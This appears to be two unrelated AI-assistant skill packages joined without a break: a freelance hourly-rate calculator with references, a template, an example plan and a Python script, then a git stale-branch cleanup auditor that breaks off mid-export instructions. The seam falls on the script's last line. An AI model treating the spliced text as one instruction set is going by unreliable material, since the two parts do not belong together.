You help freelancers and people about to go freelance find a rate they can live on. Most underprice because they divide a salary by 2080 hours and forget taxes, insurance, equipment, unpaid holidays, sick days and the hours spent on sales and admin. You work backwards from the take-home income they want to the minimum hourly rate, round it to a rate they can quote, show what their current rate really pays, and price their next project.
## Files in this skill
- `scripts/rate_calc.py` - calculates revenue needed, billable hours, minimum, quoted, day and break-even rates, a billable-share table, the current-rate gap and a project price (Python 3 standard library only)
- `references/rate-math.md` - the formulas step by step, typical cost lists, billable share by type of work, tax rough guides and common mistakes
- `references/pricing-and-raising-rates.md` - day, project, retainer and value pricing, how to quote, and how to raise rates with existing clients
- `templates/rate-card.md` - a one-page rate card with hourly, day and package prices and terms
- `examples/ux-designer-rate-plan.json` - a Berlin UX designer who wants 48,000 EUR take-home and currently charges 65 EUR/h
## Workflow
### 1. Collect the numbers
Ask for: the take-home income they want per year (after tax and business costs), savings they want to put aside (pension, emergency fund), their effective tax and social contribution rate (if unknown, use the rough guide in `references/rate-math.md` and tell them to confirm with an accountant), every business cost (insurance, software, equipment, workspace, accountant, marketing, training), hours per week, vacation weeks, public holidays, sick and training days, and the share of working time that is really billable. Also ask for the current rate, typical market rates for their field and region, and an upcoming project estimate if they have one.
### 2. Run the calculator
```
python3 scripts/rate_calc.py examples/ux-designer-rate-plan.json
python3 scripts/rate_calc.py plan.json --round 10 --json
python3 scripts/rate_calc.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain the result
Lead with the minimum rate and the quoted rate, then walk the chain from take-home to revenue so they see where the money goes. Use the billable-share table to show why 60% billable is the honest default. If the current rate is too low, show the shortfall and the billable hours it would take to close it, then give options from `references/pricing-and-raising-rates.md`: raise rates for new clients first, move to day or project pricing, cut costs, or lower the target.
### 4. Deliver
Fill `templates/rate-card.md` with the hourly, day and package prices, payment terms and the date of the next rate review.
## Example result
For `examples/ux-designer-rate-plan.json`: 48,000 EUR take-home + 7,800 EUR set-asides = 83,284 EUR profit before 33% tax; + 13,500 EUR costs and an 8% risk buffer = 105,200 EUR revenue. 214 working days at 60% billable = 1027 billable hours, so the minimum is 102.41 EUR/h: quote 105 EUR/h or 840 EUR/day. At the current 65 EUR/h, take-home would be 24,311 EUR (23,689 short), and hitting the target would need 94.5% billable time (HIGH BELOW_REQUIRED). The 120 h clinic app redesign with 20% contingency comes to 15,120 EUR instead of 9,360 EUR.
## Rules
- Tax figures are rough guides, not tax advice; tell them to confirm their rate with a local accountant.
- Never assume more than 70% billable time without evidence from their own time tracking.
- Show the formulas and inputs so they can change one assumption and re-run.
- A rate below the market can be raised; a minimum above the market needs a different offer, not just a higher number.
- Use the currency and the tax situation they give; do not mix currencies.
FILE:references/rate-math.md
# Rate Math
## The chain, step by step
1. **Needed after tax** = target take-home + set-asides (pension, emergency fund, savings goals)
2. **Profit before tax** = needed after tax / (1 - effective tax and social contribution rate)
3. **Revenue needed** = (profit before tax + business costs) / (1 - risk buffer)
4. **Working days** = 260 weekdays - vacation weeks x 5 - public holidays - sick days - training days
5. **Billable hours** = working days x hours per week / 5 x billable share
6. **Minimum rate** = revenue needed / billable hours
7. **Quoted rate** = minimum rounded up (to 5 or 10); **day rate** = quoted x hours per day
8. **Break-even rate** = business costs / (1 - buffer) / billable hours (pays the bills, pays you nothing)
Check: take-home at a rate R = (R x billable hours x (1 - buffer) - costs) x (1 - tax) - set-asides.
## Why "salary / 2080" is wrong
2080 = 52 weeks x 40 hours. A freelancer is paid for none of: vacation (20-30 days), public holidays (8-14), sick days (5-10), training (3-10), and the 30-50% of working time spent on sales, proposals, admin, invoicing and learning. A 60,000 salary also comes with employer pension and social contributions, paid leave and equipment. The usual rule of thumb, hourly rate = salary / 1000 to 1200, lands near the result of the full calculation.
## Billable share by type of work
| Situation | Realistic billable share |
|---|---|
| New freelancer, still finding clients | 35-50% |
| Mix of projects, regular clients | 50-65% |
| Long full-time contract with one client | 70-85% (but sales stop, and the gap after the contract is long) |
| Agency-style with heavy account management | 45-60% |
Measure it: track every working hour for 4-8 weeks, then use the real share.
## Typical business costs
- Health, disability and liability insurance (where self-paid)
- Pension contributions if compulsory (or put them in set-asides)
- Hardware with replacement cycle (laptop 3 years, phone 2-3 years), software subscriptions, cloud and domains
- Workspace: coworking, home office share, internet, phone
- Accountant, bank fees, payment provider fees, invoicing tool
- Marketing: website, portfolio, platforms, events, travel to clients
- Training: courses, books, conferences
- Professional memberships, licences, legal templates
## Effective tax and contribution rate (rough guide only)
The effective rate is total income tax and compulsory social contributions divided by profit. It depends on the country, region, legal form, family situation and deductions. As a first rough guess for a single person with profit around 60,000-100,000 in Europe or North America, 25-40% is common; low-tax regimes and flat-rate schemes can be much lower. Always confirm with a local accountant and replace the guess.
## Risk buffer
Covers late or unpaid invoices, gaps between clients, scope that cannot be billed and slow months. 5% for stable retainers, 10-15% for project work with new clients.
## Common mistakes
- Using gross revenue as income (taxes and costs come out later)
- Planning 100% billable hours
- Forgetting VAT/sales tax is not income (rates here are net of VAT)
- Not pricing holidays: every week off has to be paid for by the weeks worked
- Discounting the hourly rate for long projects without a guaranteed volume
FILE:references/pricing-and-raising-rates.md
# Pricing Models and Raising Rates
## Choosing a pricing model
| Model | Use when | Calculation from the minimum rate |
|---|---|---|
| Hourly | Unclear scope, support work, small changes | Quoted rate; bill in 15 or 30 minute steps |
| Day rate | Workshops, embedded work, contracts | Quoted rate x hours per day; half-day = 55-60% of a day (switching cost) |
| Project (fixed price) | Clear deliverables, you estimate well | Estimated hours x (1 + contingency) x quoted rate; list what is included and the number of revisions |
| Retainer | Ongoing work each month | Reserved hours per month x quoted rate, often 5-10% lower for guaranteed volume; unused hours expire |
| Value-based | Your work drives measurable revenue or savings | 5-20% of the first-year value, never below the project price |
Contingency for fixed prices: 10-15% for work you have done many times, 20-30% for new types of work, 30-50% with unclear requirements or many stakeholders.
## Quoting
- Quote a number, not a range; ranges get negotiated to the bottom.
- Show the price per package or deliverable, not the hours, when you price by project.
- Put payment terms on the quote: 30-50% upfront for new clients, net 14 or net 30, late fee, what happens when scope changes.
- Rates are net of VAT/sales tax; say so.
## When the minimum is below the market
Quote at least the market middle for your level. Charging less signals lower quality and leaves no room for slow months.
## When the minimum is above the market
A higher number alone will not sell. Options:
1. Specialise (industry or problem) so you compete with fewer people and can price above the general market.
2. Package outcomes and use project or value pricing.
3. Cut costs that do not bring work.
4. Raise the billable share with retainers and fewer, larger clients.
5. Lower the target for the first year and plan rate increases.
## Raising rates with existing clients
- New clients get the new rate immediately.
- Existing clients: 30-60 days notice, a date, a short reason (more experience, scope, market), no apology.
- Raise by 10-20% at a time, once a year or when you are fully booked for 3+ months.
- Offer the old rate for a prepaid block of hours or a longer retainer if you want to keep a key client.
Sample notice:
> From 1 January, my rate for new work will be 105 EUR per hour (840 EUR per day). Work already agreed stays at the current rate until it is finished. Thank you for the great collaboration this year; I look forward to the next projects.
## Signals that the rate is too low
- You are fully booked for months and nobody pushes back on price.
- You win almost every proposal.
- You cannot take time off or pay for training.
FILE:templates/rate-card.md
# Rate Card - <name>, <role>
**Valid from:** <date> **Next review:** <date + 12 months> **Currency:** <EUR>, prices net of VAT
## Rates
| Service | Price |
|---|---|
| Hourly rate | <105> per hour |
| Day rate (8 h) | <840> per day |
| Half day (4 h) | <480> |
| Monthly retainer (<20> h, unused hours expire) | <2,000> per month |
## Packages
| Package | Includes | Price |
|---|---|---|
| <UX audit> | <expert review of 10 key screens, prioritised report, 1 h call> | <2,400> |
| <App redesign> | <research, wireframes, UI for <n> screens, 2 revision rounds, design system> | <15,120> |
## Terms
- Payment: <40% upfront, rest on delivery>, invoices due in <14> days; late fee <x%> per month
- Scope changes: quoted separately before work starts
- Revisions: <2> rounds included, then hourly
- Cancellation: <notice period / fee>
- Travel: <outside city billed at cost + travel time at 50%>
## Behind the numbers (private, do not send)
- Minimum rate: <102.41>/h at <60>% billable (<1027> h/year)
- Break-even rate: <14.29>/h
- Target take-home: <48,000>, revenue needed: <105,200>
FILE:examples/ux-designer-rate-plan.json
{
"name": "Deniz, freelance UX/UI designer (Berlin)",
"currency": "EUR",
"target_net_income": 48000,
"set_asides": [
{"name": "retirement", "annual": 6000},
{"name": "emergency fund top-up", "monthly": 150}
],
"tax": {"effective_rate_pct": 33},
"business_costs": [
{"name": "health and care insurance (self-paid)", "monthly": 520},
{"name": "coworking desk", "monthly": 190},
{"name": "software (Figma, Adobe, Notion)", "monthly": 95},
{"name": "laptop and display (3-year write-off)", "annual": 1100},
{"name": "accountant", "monthly": 110},
{"name": "liability insurance", "annual": 280},
{"name": "website, portfolio and domain", "annual": 240},
{"name": "courses and conferences", "annual": 900}
],
"time": {
"hours_per_week": 40,
"vacation_weeks": 5,
"public_holidays_days": 10,
"sick_days": 6,
"training_days": 5,
"billable_pct": 60,
"hours_per_day": 8
},
"risk_buffer_pct": 8,
"current_rate": 65,
"market_rate": {"low": 70, "high": 110},
"project": {"name": "Clinic booking app redesign", "estimated_hours": 120, "contingency_pct": 20}
}
FILE:scripts/rate_calc.py
#!/usr/bin/env python3
"""Freelance hourly rate calculator (Python 3 standard library only).
Works backwards from the take-home income you want to the hourly and day rate you must charge,
counting taxes, business costs, unpaid time and a risk buffer. Compares the result with your
current rate and the market, and prices a project.
Input JSON (amounts per year unless "monthly" is given):
{"name": "...", "currency": "EUR",
"target_net_income": 48000, # take-home after tax and costs
"set_asides": [{"name": "retirement", "annual": 6000}], (optional, after tax)
"tax": {"effective_rate_pct": 32}, # income tax + social contributions on profit
"business_costs": [{"name": "coworking", "monthly": 180}, {"name": "laptop", "annual": 2400}],
"time": {"hours_per_week": 40, "vacation_weeks": 5, "public_holidays_days": 10,
"sick_days": 6, "training_days": 5, "billable_pct": 60, "hours_per_day": 8},
"risk_buffer_pct": 10, # unpaid invoices, gaps between clients
"current_rate": 55, "market_rate": {"low": 60, "high": 95}, (optional)
"project": {"name": "...", "estimated_hours": 120, "contingency_pct": 20}} (optional)
Formulas:
needed after tax = target net + set-asides
profit before tax = needed after tax / (1 - tax rate)
revenue needed = (profit before tax + business costs) / (1 - risk buffer)
working days = 260 - vacation weeks x 5 - holidays - sick days - training days
billable hours = working days x hours per week / 5 x billable %
minimum rate = revenue needed / billable hours; quoted rate = minimum rounded up to
the next --round (default 5); project price rounded up to 10; day rate = quoted x hours per day
break-even rate = business costs / (1 - buffer) / billable hours (no income at all)
net at a rate = (rate x billable hours x (1 - buffer) - costs) x (1 - tax) - set-asides
Findings (severity):
HIGH NO_TAX tax rate missing or 0
HIGH BELOW_BREAK_EVEN current rate does not even cover business costs
HIGH BELOW_REQUIRED current rate below the minimum rate (yearly shortfall shown)
MEDIUM ABOVE_MARKET minimum rate above the market high: niche, value pricing or lower target
MEDIUM BILLABLE_HIGH billable share above 75% of working time
MEDIUM LONG_HOURS more than 50 hours per week
MEDIUM SHORT_VACATION under 3 weeks of vacation
LOW UNDER_MARKET quoted rate below the market low: you can likely charge more
LOW NO_BUFFER risk buffer 0
LOW NO_SICK_DAYS no sick days planned
LOW NO_CONTINGENCY project quote without contingency
Usage:
python3 rate_calc.py plan.json
python3 rate_calc.py plan.json --round 10 --json
python3 rate_calc.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import math
import sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def annual(item):
if "annual" in item:
return float(item["annual"])
if "monthly" in item:
return float(item["monthly"]) * 12
raise DataError(f"cost '{item.get('name', '?')}' needs 'annual' or 'monthly'")
def round_up(x, step):
return math.ceil(x / step - 1e-9) * step
def calc(cfg, step=5):
t = cfg.get("time") or {}
hpw = float(t.get("hours_per_week", 40))
hpd = float(t.get("hours_per_day", hpw / 5))
billable = float(t.get("billable_pct", 60)) / 100
vac, hol = float(t.get("vacation_weeks", 4)), float(t.get("public_holidays_days", 10))
sick, train = float(t.get("sick_days", 5)), float(t.get("training_days", 0))
tax = float((cfg.get("tax") or {}).get("effective_rate_pct", 0)) / 100
buffer = float(cfg.get("risk_buffer_pct", 0)) / 100
if "target_net_income" not in cfg:
raise DataError("target_net_income is required")
net = float(cfg["target_net_income"])
if not (0 <= tax < 0.9) or not (0 <= buffer < 0.5):
raise DataError("tax must be 0-90% and risk buffer 0-50%")
if not (0 < billable <= 1) or hpw <= 0:
raise DataError("billable_pct must be 1-100 and hours_per_week > 0")
costs = [{"name": c.get("name", "cost"), "annual": annual(c)} for c in cfg.get("business_costs", [])]
sets = [{"name": s.get("name", "set-aside"), "annual": annual(s)} for s in cfg.get("set_asides", [])]
cost_total = sum(c["annual"] for c in costs)
set_total = sum(s["annual"] for s in sets)
working_days = 260 - vac * 5 - hol - sick - train
if working_days <= 0:
raise DataError("no working days left after vacation, holidays, sick and training days")
avail = working_days * hpw / 5
bill_h = avail * billable
after_tax = net + set_total
pre_tax = after_tax / (1 - tax)
revenue = (pre_tax + cost_total) / (1 - buffer)
min_rate = revenue / bill_h
rate = round_up(min_rate, step)
breakeven = cost_total / (1 - buffer) / bill_h
def net_at(r, hours=bill_h):
return (r * hours * (1 - buffer) - cost_total) * (1 - tax) - set_total
sens = []
for pct in (40, 50, 60, 70, 80):
h = avail * pct / 100
sens.append({"billable_pct": pct, "billable_hours": round(h), "min_rate": round(revenue / h, 2)})
res = {"name": cfg.get("name", "freelancer"), "currency": cfg.get("currency", ""),
"costs": costs, "set_asides": sets, "business_costs": round(cost_total, 2), "set_aside_total": round(set_total, 2),
"target_net_income": net, "profit_before_tax": round(pre_tax, 2), "revenue_needed": round(revenue, 2),
"working_days": working_days, "available_hours": round(avail, 1), "billable_hours": round(bill_h, 1),
"billable_pct": billable * 100, "min_rate": round(min_rate, 2), "quoted_rate": rate,
"day_rate": round_up(rate * hpd, step), "hours_per_day": hpd, "break_even_rate": round(breakeven, 2),
"net_at_quoted": round(net_at(rate), 2), "sensitivity": sens, "findings": []}
findings = res["findings"]
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
cur = cfg.get("current_rate")
cur_info = None
if cur:
cur = float(cur)
hours_needed = revenue / cur
cur_info = {"rate": cur, "net_income": round(net_at(cur), 2), "shortfall": round(net - net_at(cur), 2),
"billable_hours_needed": round(hours_needed), "billable_pct_needed": round(hours_needed / avail * 100, 1)}
res["current"] = cur_info
if tax == 0:
add("HIGH", "NO_TAX", "no tax rate given; income tax and social contributions usually take 25-45% of profit")
if cur_info and cur < breakeven:
add("HIGH", "BELOW_BREAK_EVEN", f"current rate {cur:g} is below the break-even rate {breakeven:.2f}; every billed hour loses money")
elif cur_info and cur < min_rate:
add("HIGH", "BELOW_REQUIRED", f"current rate {cur:g} is {min_rate - cur:.2f} below the minimum {min_rate:.2f}; take-home falls {cur_info['shortfall']:,.0f} short "
f"(you would need {cur_info['billable_hours_needed']} billable hours, {cur_info['billable_pct_needed']}% of working time)")
m = cfg.get("market_rate") or {}
if m.get("high") and min_rate > float(m["high"]):
add("MEDIUM", "ABOVE_MARKET", f"minimum rate {min_rate:.2f} is above the market high {m['high']}; specialise, price by value, cut costs or lower the target")
elif m.get("low") and rate < float(m["low"]):
add("LOW", "UNDER_MARKET", f"quoted rate {rate:g} is below the market low {m['low']}; quote at least {m['low']}")
if billable > 0.75:
add("MEDIUM", "BILLABLE_HIGH", f"{billable * 100:.0f}% billable leaves too little time for sales, admin and learning; 50-70% is realistic")
if hpw > 50:
add("MEDIUM", "LONG_HOURS", f"{hpw:g} hours per week is not sustainable for a year")
if vac < 3:
add("MEDIUM", "SHORT_VACATION", f"only {vac:g} weeks of vacation planned; nobody pays you for holidays, so price them in")
if buffer == 0:
add("LOW", "NO_BUFFER", "no risk buffer for unpaid invoices and gaps between clients; 5-15% is common")
if sick == 0:
add("LOW", "NO_SICK_DAYS", "no sick days planned; budget at least 5")
p = cfg.get("project")
if p:
hrs = float(p.get("estimated_hours", 0))
cont = float(p.get("contingency_pct", 0)) / 100
res["project"] = {"name": p.get("name", "project"), "estimated_hours": hrs, "contingency_pct": cont * 100,
"quoted_hours": round(hrs * (1 + cont), 1), "price": round_up(hrs * (1 + cont) * rate, 10),
"price_at_current": round_up(hrs * (1 + cont) * cur, 10) if cur else None}
if cont == 0:
add("LOW", "NO_CONTINGENCY", "project estimate has no contingency; add 15-30% for unknowns and revisions")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return res
def money(x, cur=""):
return f"{x:,.0f} {cur}".strip() if abs(x) >= 100 else f"{x:,.2f} {cur}".strip()
def rate_fmt(x, cur=""):
return f"{x:,.2f} {cur}".strip()
def render(r):
c = r["currency"]
out = [f"# Freelance rate plan: {r['name']}", "",
f"Minimum rate {rate_fmt(r['min_rate'], c)}/h -> quote **{rate_fmt(r['quoted_rate'], c)}/h**, day rate {money(r['day_rate'], c)} ({r['hours_per_day']:g} h)",
f"Break-even (covers costs, no income): {rate_fmt(r['break_even_rate'], c)}/h | take-home at the quoted rate: {money(r['net_at_quoted'], c)}/year", "",
"## From take-home to revenue", "| Step | Amount |", "|---|---|",
f"| Target take-home | {money(r['target_net_income'], c)} |",
f"| + set-asides ({', '.join(s['name'] for s in r['set_asides']) or 'none'}) | {money(r['set_aside_total'], c)} |",
f"| = profit before tax | {money(r['profit_before_tax'], c)} |",
f"| + business costs | {money(r['business_costs'], c)} |",
f"| = revenue needed (incl. risk buffer) | {money(r['revenue_needed'], c)} |", "",
"## Time", f"{r['working_days']:g} working days, {r['available_hours']:g} working hours, {r['billable_pct']:g}% billable = **{r['billable_hours']:g} billable hours**", "",
"| Billable share | Billable hours | Minimum rate |", "|---|---|---|"]
for s in r["sensitivity"]:
out.append(f"| {s['billable_pct']}% | {s['billable_hours']} | {rate_fmt(s['min_rate'], c)} |")
out += ["", "## Business costs", "| Cost | Per year |", "|---|---|"]
for k in r["costs"]:
out.append(f"| {k['name']} | {money(k['annual'], c)} |")
if r.get("current"):
cu = r["current"]
out += ["", "## Current rate", f"At {rate_fmt(cu['rate'], c)}/h: take-home {money(cu['net_income'], c)}/year "
f"({'short by ' + money(cu['shortfall'], c) if cu['shortfall'] > 0 else 'target met'}); target needs {cu['billable_hours_needed']} billable hours ({cu['billable_pct_needed']}% of working time)"]
if r.get("project"):
p = r["project"]
out += ["", f"## Project quote: {p['name']}", f"{p['estimated_hours']:g} h + {p['contingency_pct']:g}% contingency = {p['quoted_hours']:g} h x {rate_fmt(r['quoted_rate'], c)} -> **{money(p['price'], c)}**"
+ (f" (at the current rate: {money(p['price_at_current'], c)})" if p.get("price_at_current") else "")]
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']}: {f['message']}")
return "\n".join(out) + "\n"
def self_test():
tests, ok = [], 0
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
base = {"target_net_income": 50000, "tax": {"effective_rate_pct": 30}, "business_costs": [{"name": "x", "annual": 10000}],
"time": {"hours_per_week": 40, "vacation_weeks": 4, "public_holidays_days": 10, "sick_days": 5, "training_days": 5, "billable_pct": 60},
"risk_buffer_pct": 10}
r = calc(base)
check("working days 260-20-10-5-5 = 220", r["working_days"] == 220)
check("billable hours 220 x 8 x 60% = 1056", r["billable_hours"] == 1056)
check("profit before tax 50000/0.7", abs(r["profit_before_tax"] - 71428.57) < 0.01)
check("revenue (71428.57+10000)/0.9", abs(r["revenue_needed"] - 90476.19) < 0.01)
check("minimum rate 90476.19/1056 = 85.68", abs(r["min_rate"] - 85.68) < 0.01)
check("quoted rate rounded up to 90", r["quoted_rate"] == 90)
check("day rate 8 x 90 = 720", r["day_rate"] == 720)
check("break-even 10000/0.9/1056 = 10.52", abs(r["break_even_rate"] - 10.52) < 0.01)
check("net at the minimum rate equals target", abs(((r["min_rate"] * 1056 * 0.9 - 10000) * 0.7) - 50000) < 10)
check("clean plan has no findings", r["findings"] == [])
check("monthly cost x 12", annual({"monthly": 150}) == 1800)
check("set-asides raise the rate", calc({**base, "set_asides": [{"name": "pension", "annual": 7000}]})["min_rate"] > r["min_rate"])
check("sensitivity 50% rate higher than 70%", r["sensitivity"][1]["min_rate"] > r["sensitivity"][3]["min_rate"])
def codes(**over):
c = json.loads(json.dumps(base))
for k, v in over.items():
if isinstance(v, dict) and isinstance(c.get(k), dict):
c[k].update(v)
else:
c[k] = v
return {f["code"] for f in calc(c)["findings"]}
check("no tax HIGH", "NO_TAX" in codes(tax={"effective_rate_pct": 0}))
check("below required HIGH", "BELOW_REQUIRED" in codes(current_rate=60))
check("below break-even HIGH", "BELOW_BREAK_EVEN" in codes(current_rate=8))
check("rate above market MEDIUM", "ABOVE_MARKET" in codes(market_rate={"low": 40, "high": 70}))
check("rate under market LOW", "UNDER_MARKET" in codes(market_rate={"low": 120, "high": 160}))
check("billable 85% MEDIUM", "BILLABLE_HIGH" in codes(time={"billable_pct": 85}))
check("55 h/week MEDIUM", "LONG_HOURS" in codes(time={"hours_per_week": 55}))
check("2 weeks vacation MEDIUM", "SHORT_VACATION" in codes(time={"vacation_weeks": 2}))
check("no buffer LOW", "NO_BUFFER" in codes(risk_buffer_pct=0))
check("no sick days LOW", "NO_SICK_DAYS" in codes(time={"sick_days": 0}))
check("no contingency LOW", "NO_CONTINGENCY" in codes(project={"estimated_hours": 40, "contingency_pct": 0}))
p = calc({**base, "project": {"estimated_hours": 100, "contingency_pct": 20}})["project"]
check("project 120 h x 90 = 10800", p["quoted_hours"] == 120 and p["price"] == 10800)
for bad, label in (({"tax": {"effective_rate_pct": 95}}, "tax 95% rejected"), ({"time": {"billable_pct": 0}}, "billable 0 rejected"),
({"time": {"vacation_weeks": 60}}, "no working days rejected")):
try:
c = json.loads(json.dumps(base))
for k, v in bad.items():
c[k].update(v)
calc(c)
check(label, False)
except DataError:
check(label, True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Freelance hourly rate calculator")
ap.add_argument("plan", nargs="?", help="plan JSON file")
ap.add_argument("--round", type=float, default=5, help="round the quoted rate up to this step (default 5)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.plan:
ap.error("plan file required")
try:
with open(a.plan, encoding="utf-8") as fh:
r = calc(json.load(fh), a.round)
except (OSError, json.JSONDecodeError, DataError, ValueError, TypeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="\n" if a.json else "")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Audits a repository's remote branches and plans a safe cleanup. Sorts each branch into delete (merged, squash-merged or empty), archive then delete (idle unmerged work), ask the owner, open PR, active or protected, and groups the asks by author. Flags case-colliding names, stale PRs, branches far behind main, long-lived branches and bad names, and prints a reviewable tag-then-delete script. Includes a stdlib Python auditor with --self-test.
---
name: stale-git-branch-cleanup-auditor
description: Audits a repository's remote branches and plans a safe cleanup. Sorts each branch into delete (merged, squash-merged or empty), archive then delete (idle unmerged work), ask the owner, open PR, active or protected, and groups the asks by author. Flags case-colliding names, stale PRs, branches far behind main, long-lived branches and bad names, and prints a reviewable tag-then-delete script. Includes a stdlib Python auditor with --self-test.
---
# Stale Git Branch Cleanup Auditor
You help teams clean up the dozens or hundreds of forgotten branches on a shared remote without losing anyone's work. You decide, branch by branch, what is safe to delete, what should be archived as a tag first, and who has to be asked, then produce a cleanup script that people review before anything is removed.
## Files in this skill
- `scripts/branch_audit.py` - classifies remote branches from a TSV or CSV export or straight from a local clone (`--repo`), prints findings, owner lists and a cleanup script (Python 3 standard library only; never deletes anything itself)
- `references/cleanup-rules.md` - the decision rules, squash-merge detection, archive tags, protected branches, naming conventions and how to restore a deleted branch
- `references/exporting-branch-data.md` - git and GitHub/GitLab commands to produce the input, including PR states
- `templates/cleanup-announcement.md` - a team message with the plan, the owner asks and the deadline
- `examples/webshop-branches.csv` - 16 branches of an online shop repository with merged, squash-merged, stale, colliding and protected branches
## Workflow
### 1. Get the branch data
Preferred: a fresh local clone (`git fetch --prune origin`) and run the script with `--repo`. Ask for the base branch (main, master or develop), the PR states from `gh pr list` or the GitLab API (squash merges cannot be seen in git history), the protected branch patterns and the team's naming convention. If they paste a list instead, convert it to the CSV columns in `references/exporting-branch-data.md`.
### 2. Run the auditor
```
python3 scripts/branch_audit.py examples/webshop-branches.csv --today 2026-10-24
python3 scripts/branch_audit.py --repo . --base main --prs prs.tsv --stale-days 90 --ask-days 30
python3 scripts/branch_audit.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input.
### 3. Review with the user
Walk through the actions in this order: DELETE_MERGED (safe, the work is in the base branch), ARCHIVE_AND_DELETE (recoverable from the archive tag), ASK_OWNER (needs an answer), then the findings. Fix CASE_COLLISION first because it breaks clones on macOS and Windows. Adjust thresholds to the team's pace (a research repo may want 180 stale days). Use `references/cleanup-rules.md` to explain each decision.
### 4. Deliver
Fill `templates/cleanup-announcement.md` with the counts, the per-owner list and a deadline (usually 7 days). Hand over the generated script with the advice to run the DELETE_MERGED lines first and the archive lines after the deadline.
## Example result
For `examples/webshop-branches.csv` (as of 2026-10-24, stale 90 days, ask 30 days): 16 branches -> 3 delete (merged, squash-merged PR, no commits ahead), 3 archive and delete (spike/graphql-gateway, feature/gift-cards, johns-test), 2 ask owner, 3 open PRs, 1 active, 4 protected. Findings: HIGH CASE_COLLISION (fix/search-timeout vs fix/Search-Timeout), MEDIUM PR_STALE (feature/checkout-redesign, idle 205 days), 3 MEDIUM FAR_BEHIND, 2 LOW BAD_NAME, 2 LOW LONG_LIVED, LOW OLD_PROTECTED (release/2.3).
## Rules
- Never delete branches yourself and never run the script for the user; print it for review.
- Unmerged work is archived as a tag (`archive/<branch>`) before the branch is deleted, so it can be restored.
- Squash and rebase merges leave the branch "unmerged" in git; trust the PR state, not only `--merged`.
- Protected, release and base branches are never in the delete list, even if they look idle.
- Ask owners before touching unmerged work and give a clear deadline.
FILE:references/cleanup-rules.md
# Cleanup Rules
## Decision order (first match wins)
| Action | Condition | Why it is safe or not |
|---|---|---|
| KEEP_PROTECTED | matches `--protect` (main, master, develop, trunk, gh-pages, release/*, hotfix/*) | Deployments, release maintenance and branch protection rules depend on them |
| DELETE_MERGED | reachable from the base branch, 0 commits ahead, or its PR was merged | Every commit (or its squashed equivalent) is already in the base branch |
| KEEP_OPEN_PR | open pull/merge request | Deleting the branch closes the PR; ask instead (see PR_STALE) |
| ARCHIVE_AND_DELETE | unmerged and idle >= stale days (default 90) | Unique commits: tag first so the work is recoverable |
| ASK_OWNER | unmerged and idle >= ask days (default 30) | Might still be in use; the owner decides |
| KEEP_ACTIVE | unmerged, recent commits | Work in progress |
"Idle" is the committer date of the branch tip. A rebase updates it, so a branch rebased yesterday counts as active even if nobody worked on it for months.
## Squash and rebase merges
`git branch -r --merged main` only finds branches whose tip commit is in main. When a PR is squash-merged or rebase-merged, main gets new commits and the branch still looks unmerged with N commits ahead. Use the PR state (`pr = merged`) to catch these. Without PR data, check by hand:
```
git diff --stat origin/main...origin/<branch> # empty or tiny = changes already in main
git log --oneline origin/main --grep "<PR title or number>"
```
A closed (not merged) PR with old commits is abandoned work: archive it.
## Archive tags
```
git tag archive/<branch> origin/<branch>
git push origin refs/tags/archive/<branch>
git push origin --delete <branch>
```
Restore later with `git push origin archive/<branch>:refs/heads/<branch>`. Tags keep the commits alive forever (no garbage collection). If the archive tags clutter the tag list, push them to a separate archive remote instead.
Deleted without a tag? On GitHub, a branch deleted from a PR page can be restored from the PR for a while; otherwise someone's local clone or `git reflog` on the server-side mirror is the only way back. That is why the script tags first.
## Findings
| Code | Severity | Meaning | Action |
|---|---|---|---|
| CASE_COLLISION | HIGH | `fix/Login` and `fix/login` exist; case-insensitive file systems store refs as files, so fetch fails or one ref hides the other | Delete or rename one today |
| PR_STALE | MEDIUM | Open PR with no commit for >= stale days | Owner finishes, splits or closes it |
| FAR_BEHIND | MEDIUM | Unmerged branch > 300 commits behind base | Rebase/merge base soon or archive; conflicts grow every day |
| LONG_LIVED | LOW | > 50 unmerged commits and idle >= ask days | Split into smaller PRs; hide unfinished work behind a feature flag |
| OLD_PROTECTED | LOW | release/* or hotfix/* idle >= stale days | Tag the release (`v2.3.x`), remove protection, delete |
| BAD_NAME | LOW | No allowed `<type>/` prefix, or uppercase/spaces | Rename to `feature/...`, `fix/...`, `chore/...` |
## Naming convention
`<type>/<short-kebab-description>` with optional ticket: `feature/cart-coupons`, `fix/1423-vat-rounding`, `chore/bump-node-22`. Default allowed types: feature, feat, fix, bugfix, hotfix, release, chore, docs, refactor, test, ci, perf, build, deps, dependabot, renovate, experiment, spike. Override with `--prefixes`.
## Keeping it clean afterwards
- Enable "Automatically delete head branches" (GitHub) or "Delete source branch" (GitLab) on merge.
- Protect only branches that need it, with patterns.
- Run the audit monthly; most teams settle at 90 stale days and 30 ask days.
- Bots (dependabot, renovate) recreate their branches; keep their PRs moving instead of deleting branches.
FILE:references/exporting-branch-data.md
# Exporting Branch Data
## Option A: let the script read the clone
```
git fetch --prune origin
python3 scripts/branch_audit.py --repo . --remote origin --base main
```
The script runs `git for-each-ref`, `git branch -r --merged origin/main` and `git rev-list --left-right --count origin/main...origin/<branch>` for every branch. Large repositories with thousands of branches take a minute.
## Option B: build the TSV (or CSV) yourself
Columns (tab or comma separated, header required; the delimiter is detected from the header): `branch last_commit author ahead behind merged pr`
```
base=origin/main
printf 'branch\tlast_commit\tauthor\tahead\tbehind\tmerged\tpr\n' > branches.tsv
git branch -r --merged "$base" | sed 's/^ *//' > /tmp/merged.txt
